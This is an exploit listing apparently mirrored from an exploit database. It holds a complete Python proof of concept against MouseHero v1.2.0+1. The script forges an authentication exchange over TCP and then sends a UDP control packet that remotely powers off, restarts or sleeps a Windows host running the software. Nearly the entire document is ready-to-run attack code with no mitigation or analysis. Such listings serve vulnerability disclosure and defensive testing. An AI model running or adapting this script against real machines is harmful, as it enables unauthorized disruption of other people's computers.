Share
## https://sploitus.com/exploit?id=PACKETSTORM:226946
# Exploit Title: MouseHero v1.2.0+1 - power-control
# Date: July 26, 2026
# Exploit Author: tmrswrr
# Vendor Homepage: https://mousehero.aprilzz.com
# Software Link: https://downloads-mousehero.aprilzz.com/downloads/MouseHero-Windows-x86_64-latest.zip
# Version: 1.2.0+1
# Tested on: Windows 10 Enterprise LTSC Build 17763
#!/usr/bin/env python3
# MouseHero power-control PoC.
# Usage:
# python3 mousehero_power_control.py sleep
# python3 mousehero_power_control.py restart
# python3 mousehero_power_control.py poweroff
#
# CONTROL event type 9 accepts:
# 1 = poweroff, 2 = restart, 3 = sleep
import socket
import struct
import sys
import time
HOST = "192.168.1.103"
TCP_PORT = 21216
UDP_PORT = 21217
AUTH = 10
CONTROL = 9
OPS = {"poweroff": 1, "restart": 2, "sleep": 3}
ACTION = sys.argv[1] if len(sys.argv) > 1 else "sleep"
if ACTION not in OPS:
raise SystemExit(f"usage: {sys.argv[0]} [sleep|restart|poweroff]")
def mpu(n):
if n <= 0x7F:
return bytes([n])
if n <= 0xFF:
return b"\xcc" + struct.pack(">B", n)
return b"\xcd" + struct.pack(">H", n)
def mpa(*items):
return bytes([0x90 | len(items)]) + b"".join(items)
def pkt(kind, body, uid=1):
hdr = mpa(mpu(uid), mpu(kind), mpu(6), mpu(len(body)))
return struct.pack(">II", 4 + len(hdr) + len(body), len(hdr)) + hdr + body
def recv_all(s, n):
out = b""
while len(out) < n:
chunk = s.recv(n - len(out))
if not chunk:
break
out += chunk
return out
def auth():
with socket.create_connection((HOST, TCP_PORT), timeout=5) as s:
s.sendall(pkt(AUTH, mpa(mpu(1), mpu(3))))
psize, hsize = struct.unpack(">II", recv_all(s, 8))
recv_all(s, hsize)
body = recv_all(s, psize - 4 - hsize)
return body[2] if len(body) > 2 else 1
uid = auth()
body = mpa(mpu(OPS[ACTION]))
hdr = mpa(mpu(uid), mpu(CONTROL), mpu(1), mpu(247))
packet = struct.pack(">II", 4 + len(hdr) + len(body), len(hdr)) + hdr + body
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as u:
u.sendto(packet, (HOST, UDP_PORT))
time.sleep(0.2)